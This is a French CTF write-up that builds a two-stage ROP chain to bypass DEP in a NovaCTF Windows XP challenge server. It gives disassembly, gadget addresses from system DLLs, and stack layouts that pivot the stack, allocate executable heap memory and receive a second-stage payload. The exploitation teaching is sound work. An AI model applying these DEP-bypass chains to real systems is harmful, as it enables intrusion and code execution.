Bonjour,

Aujourd’hui on va attaquer le challenge du NovaCTF de Janvier de manière différente.

La dernière fois nous avons fais usage d’un stack pivot, egg hunter et payload … mais le problème est que tout celà s’exécute sur la pile. En cas de DEP ça ne marcherait pas.

Nous allons donc remédier à celà, par contre on perd le bypass ASLR :( (si quelqu’un a une idée pour ASLR+DEP bypass sur ce challenge, je serais intéressé :)).

Pré-requis

Avant de commencer, je vais pour une fois donner les pré-requis nécessaire à la bonne compréhension de l’article suivant.

Tout d’abord vous devez être à l’aise en exploitation de stack based buffer overflow.

Ensuite un minimum de connaissances en ASMx86, Windows et sockets est recommendée. En effet, une compréhension de la partie vulnérable est essentielle car on fait usage de ces connaissances pour rediriger le flux d’exécution à notre bon vouloir.

On va utiliser Immunity Debugger avec le plugin pvefindaddr, le tout sous Windows XP SP3 English.

ROP : Return Oriented Programming?

Le ropping est une technique de re-utilisation de code au même titre que ret2lib, ret2esp. Elle est utilisée afin de bypasser le DEP sans code ou pour rendre l’exécution de code possible. Celà consiste à chaîner plusieurs séquences d’instructions terminant par RET. On appelle ces séquences des gadgets, un gadget effectue une action bien précise comme une addition ou autre.

L’avantage d’une telle technique c’est qu’elle fait usage de zone exécutable et donc bypasse le DEP sans problème. L’inconvénient majeur est qu’on doit hard coder pas mal d’addresses, on doit connaître ces addresses d’avance et donc en cas d’ASLR ça devient déjà plus difficile. L’une des méthodes utilisées est de travailler avec des offsets, en effet, avec l’ASLR, l’address space layout change mais pas les offsets entre chaque éléments.

Préparation

On a besoin de créer une liste de gadgets afin de pouvoir choisir dans cette liste et créer notre payload ROP.

Immunity Debugger est le debugger utilisé ici pour effectuer celà.

En effet, il intègre la DEPlib et le plugin de corelanc0d3r répond entièrement à nos besoins également.

Let’s ROP it!

Bon je vais passer la phase de triggering vu qu’on l’a déjà vu dans mon article précédent, on va se concentrer sur l’exploitation à proprement parler.

L’exploitation va se dérouler en plusieurs phase:

  • stage 1: mise en place d’un environnement propice à l’exécution de code
  • stage 2: exécution de code C’est une attaque multi-stage plutôt que one-stage.

Afin d’y arriver, il faut d’abord “pivoter” le stack pointer afin qu’il pointe sur une zone qu’on contrôle.

First stage ROP stack

Revoyons le code de la fonction vulnérable si vous voulez bien :).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00401000 vuln_function   proc near               ; CODE XREF: main+2CC p
.text:00401000
.text:00401000 local_buf       = byte ptr -100h
.text:00401000 recv_buf        = dword ptr  8
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 100h
.text:00401009                 mov     eax, [ebp+recv_buf]
.text:0040100C                 push    eax             ; char *
.text:0040100D                 lea     ecx, [ebp+local_buf]
.text:00401013                 push    ecx             ; char *
.text:00401014                 call    _strcpy
.text:00401019                 add     esp, 8
.text:0040101C                 mov     esp, ebp
.text:0040101E                 pop     ebp
.text:0040101F                 retn
.text:0040101F vuln_function   endp

Avant l’appel du strcpy():

  • EAX pointe vers l’addresse du buffer que recv() utilise afin de recevoir ce qu’on envoie.
  • ECX contient l’addresse du buffer local à overflow.

Après l’appel du strcpy():

  • EAX pointe vers notre buffer local.
  • ECX pointe vers recv_buf+260 (260 = longueur de la chaîne qu’on envoie).

Donc pour pivoter la stack, il suffit de trouver un pointeur vers une instruction de type:

1
2
3
4
5
6
xchg eax, esp
mov eax, ecx
xchg eax, ecx
mov eax, esp
push eax; pop esp
push ecx; pop eax

Ca nous permettra de pivoter la stack et directement tomber après le contenu de local_buf dans recv_buf.

Pour trouver des pointeurs vers des gadgets avec pvefindaddr, il suffit d’utiliser la commande suivante:

1
!pvefindaddr rop options

Le manuel:

1
2
3
4
5
6
7
8
9
10
11
12
imm.log("* rop [-m <module>] [-f <filter>] [-n] [-o] [-i] [-r max_ret_value] [-s] [-d] [-c <instruction>]")
 imm.log("                               (List possible ROP gadgets from non-ASLR protected modules. You can optionally filter)")
 imm.log("                                Option -n : don't show pointers that contain null bytes")
 imm.log("                                Option -o : don't show pointers from modules in the Windows folder")
 imm.log("                                Option -i : don't show pointers from modules that have the Fixup flag set")
 imm.log("                                Parameter -r allows you to specify the maximum RET offset to look for. Default value : 32")
 imm.log("                                Warning : if you don't specify a module and/or a lower RET offset, the process can take a very long time to complete")
 imm.log("                                The -s option will split the rop output into a dedicated file per module. The filenames will include")
 imm.log("                                modulename, version, OS type and OS version")
 imm.log("                                Option -d will search deeper (longer) and might find possibly interesting gadgets")
 imm.log("                                Option -c + instruction (no quotes, spaces are allowed) will allow you to look for gadgets ending with this instruction")
 imm.log("                                as opposed to looking for gadgets ending with RET")

On va commencer par pivoter ESP vers le début de notre buffer local, j’ai trouvé ce gadget:

1
# 0x77C3A891 : EAX :   # XCHG EAX,ESP # RETN - msvcrt.dll -  ** 

A partir de là, on veut “remonter” vers notre recv_buffer, la raison en est simple: recv() copie TOUT et ne s’arrête donc pas aux 0 comme strcpy() donc aucunes grandes contraintes. Je fais celà avec le gadget suivant:

1
# 0x7C902B30 : # MOV EAX,ECX # BSWAP EAX # RETN - ntdll.dll -  ** 

BSWAP change l’ordre de nos bits entre little endian et big endian, il faut donc l’appeller encore pour fixer EAX.

1
# 0x7C902B32 : # BSWAP EAX # RETN - ntdll.dll -  ** 

Et la on peut enfin pivoter le stack pointer :).

1
# 0x77C3A891 : EAX :   # XCHG EAX,ESP # RETN - msvcrt.dll -  ** 

Donc notre pile pour l’instant ressemble à ça:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
---------------------------------
recv_buf        |   0x7C902B30  |   mov eax, ecx
---------------------------------
recv_buf+4      |   0x7C902B32  |   fix eax (big endian -> little endian)
---------------------------------
recv_buf+8      |   0x77C3A891  |   mov esp, eax    // on est dans recv_buffer
---------------------------------
recv_buf+12     |   JUNK        |
                |     ...       |
                |   JUNK        |
---------------------------------
recv_buf+260    |   0x77C3A891  |   mov esp, eax    // on est dans local_buffer
---------------------------------
recv_buf+264    |   0x00000000  | // pour finir la copie de strcpy()
---------------------------------

Maintenant on doit allouer de la mémoire exécutable.

De ce que j’ai pu remarquer de mes différents tests et en regardant la memory map avec Alt+M:

NovaCTF Memory Map

On remarque que la heap n’est pas exécutable (36xxx dans ce cas dans mes tests).

Il faut donc créer une nouvelle heap avec HeapCreate() et allouer de la mémoire à partir de celle-ci. On retrouve un appel à celui-ci d’ailleurs:

1
2
3
4
5
6
7
8
9
10
11
12
.text:00403D89 sub_403D89      proc near               ; CODE XREF: start:loc_4016DD p
.text:00403D89                 push    0               ; dwMaximumSize
.text:00403D8B                 push    1000h           ; dwInitialSize
.text:00403D90                 push    0               ; flOptions
.text:00403D92                 call    ds:HeapCreate
.text:00403D98                 xor     ecx, ecx
.text:00403D9A                 test    eax, eax
.text:00403D9C                 setnz   cl
.text:00403D9F                 mov     hHeap, eax
.text:00403DA4                 mov     eax, ecx
.text:00403DA6                 retn
.text:00403DA6 sub_403D89      endp

La heap créée est référencé dans une variable globale comme on peut le voir. On contrôle la pile entièrement et aucunes contraintes niveau caractères utilisés donc voilà ce que ça donne:

1
2
3
4
5
6
7
8
9
---------------------------------
recv_buf+268    |   0x00403D92  |   call ds:HeapCreate
---------------------------------
recv_buf+272    |   0x00004000  |   flOptions = HEAP_CREATE_ENABLE_EXECUTE
---------------------------------
recv_buf+276    |   0x00001000  |   dwInitialSize = 0x1000
---------------------------------
recv_buf+280    |   0x00001000  |   # dwMaximumSize = 0 = depend on available memory
---------------------------------

Maintenant l’allocation de notre mémoire:

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00405DED                 push    esi             ; dwBytes
.text:00405DEE                 push    8               ; dwFlags
.text:00405DF0                 push    hHeap           ; hHeap
.text:00405DF6                 call    ds:HeapAlloc
.text:00405DFC                 test    eax, eax
.text:00405DFE                 jnz     short loc_405E32

.text:00405E32 loc_405E32:                             ; CODE XREF: sub_405DB3+4B j
.text:00405E32                                         ; sub_405DB3+70 j ...
.text:00405E32                 pop     esi
.text:00405E33                 pop     ebp
.text:00405E34                 retn
.text:00405E34 sub_405DB3      endp

On voit qu’il faut qu’on définisse notre ESI first ensuite qu’on retourne sur 0x00405DED. Vous pourrez remarquer que hHeap est utilisé directement après, ça nous facilite beaucoup les choses. Il faut absolument que la mémoire soit allouée, l’exécution de code sera compromise mais généralement on a notre mémoire qui est allouée ;).

Pour ESI, j’ai trouvé le gadget suivant:

1
# 0x7C87283A :  # POP ESI # RETN  [Module : kernel32.dll]  ** 

Et n’oublions pas de prévoir du junk pour nos pop esi; pop ebp Notre ROP stack donne ainsi celà:

1
2
3
4
5
6
7
8
9
10
11
---------------------------------
recv_buf+284    |   0x7C87283A  |   pop esi
---------------------------------
recv_buf+288    |   0x00004000  |   esi value to pop
---------------------------------
recv_buf+292    |   0x00405DED  |   call ds:HeapAlloc
---------------------------------
recv_buf+296    |       JUNK    |   junk pour pop esi
---------------------------------
recv_buf+300    |       JUNK    |   junk pour pop ebp
---------------------------------

On a presque fini le first stage :).

Dans ce challenge, le serveur reçoit de la data par le biais de la routine suivante:

1
2
3
4
5
6
7
.text:004012A6                 push    0               ; flags
.text:004012A8                 push    800h            ; len
.text:004012AD                 lea     ecx, [ebp+buf]
.text:004012B3                 push    ecx             ; buf
.text:004012B4                 mov     edx, [ebp+client_sockfd]
.text:004012B7                 push    edx             ; s
.text:004012B8                 call    ds:recv

Le but serait donc de faire pointer EBP vers notre heap nouvellement allouée afin qu’il réceptionne notre payload.

Il faut prendre en compte l’offset de buf (-0x9A0) afin d’éviter de corrompre la heap et rendre notre exploit moins fiable par la suite. Pour celà, il faut additionner +0x9A0 au moins à EAX (qui contient notre mémoire allouée):

1
# 0x77EBB583 :  {POP}  # ADD EAX,6FF # POP ESI # POP EBP # RETN 4  [Module : RPCRT4.dll]  ** 

Ce qui donne donc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
---------------------------------
recv_buf+304    |   0x77ebb583  |   add eax, 0x6ff
---------------------------------
recv_buf+308    |       JUNK    |   junk pour pop esi
---------------------------------
recv_buf+312    |       JUNK    |   junk pour pop ebp
---------------------------------
recv_buf+316    |   0x77ebb583  |   add eax, 0x6ff
---------------------------------
recv_buf+320    |       JUNK    |   junk pour ret 4
---------------------------------
recv_buf+324    |       JUNK    |   junk pour pop esi
---------------------------------
recv_buf+328    |       JUNK    |   junk pour pop ebp
---------------------------------

On set EBP à EAX:

1
# 0x77EF022c :  # PUSH EAX # POP EBP # RETN 4  [Module : RPCRT4.dll]  ** 

Et aussi on doit retourner sur recv() mais le problème est que sockfd se trouve trop loin sur la pile pour pouvoir le récupérer. On met donc en place une nouvelle socket entièrement en retournant tout au début de la routine pour la socket. Nous n’avons pas besoin d’appeler WSAStartup() vu qu’aucuns appel à WSACleanup() n’a été fait. On va donc retourner juste après en 0x004010AF où on a les instructions suivantes:

  • mise en place de sin_addr_in
  • getaddrinfo()
  • socket()
  • bind()
  • listen()
  • accept()
  • recv()
  • vuln_function()
  • send()
  • exit()

Je vous passe les détails, je suppose que vous connaissez les sockets un minimum ;). En effet, c’est possible car après le accept(), la socket bindée au port 1337 est fermé et est donc re-disponible.

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00401257                 push    0               ; addrlen
.text:00401259                 push    0               ; addr
.text:0040125B                 mov     ecx, [ebp+server_sockfd]
.text:0040125E                 push    ecx             ; s
.text:0040125F                 call    ds:accept
.text:00401265                 mov     [ebp+client_sockfd], eax
.text:00401268                 cmp     [ebp+client_sockfd], 0FFFFFFFFh
.text:0040126C                 jnz     short loc_40129C

.text:0040129C loc_40129C:                             ; CODE XREF: main+24C j
.text:0040129C                 mov     eax, [ebp+server_sockfd]
.text:0040129F                 push    eax             ; s
.text:004012A0                 call    ds:closesocket

Au final, nous avons celà:

1
2
3
4
5
6
7
8
9
---------------------------------
recv_buf+332    |   0x77ef022c  |   mov ebp, eax
---------------------------------
recv_buf+336    |       JUNK    |   junk pour pop ebp
---------------------------------
recv_buf+340    |   0x004010AF  |   recv()
---------------------------------
recv_buf+344    |       JUNK    |   junk pour pop ebp
---------------------------------

Et voilà pour le premier stage, soit 348 octets de rop stack.

Passons maintenant au second stage où on va recevoir et exécuter notre payload.

Second stage ROP stack

Là ça va être beaucoup plus rapide:

  • On va pivoter la stack pour retomber à recv_buf+260
  • On exécute notre code

On obtient la rop stack suivante:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---------------------------------
recv_buf        |   0x7C902B30  |   mov eax, ecx
---------------------------------
recv_buf+4      |   0x7C902B32  |   fix eax (big endian -> little endian)
---------------------------------
recv_buf+8      |   0x77C3A613  |   jmp eax (on exécute notre code)
---------------------------------
recv_buf+12     |   JUNK        |
                |     ...       |
                |   JUNK        |
---------------------------------
recv_buf+260    |   0x77C3A891  |   mov esp, eax    // on est dans local_buffer
---------------------------------
recv_buf+264    |   0x00000000  | // pour finir la copie de strcpy()
---------------------------------
                |               |
recv_buf+268    |    PAYLOAD    |
                |               |
---------------------------------

Et voilà on finit par exécuter notre code dans un environnement DEP.

Par contre, vu le nombre de pointeurs hard codés utilisés, on perd l’ASLR bypass, si vous trouvez un moyen d’avoir DEP+ASLR bypass ça m’intéresse :). Ou si vous vous êtes pris d’une autre manière pour le DEP bypass, ça m’intéresse également ;).

J’espère que ça vous a plu.

Have phun,

m_101

Resources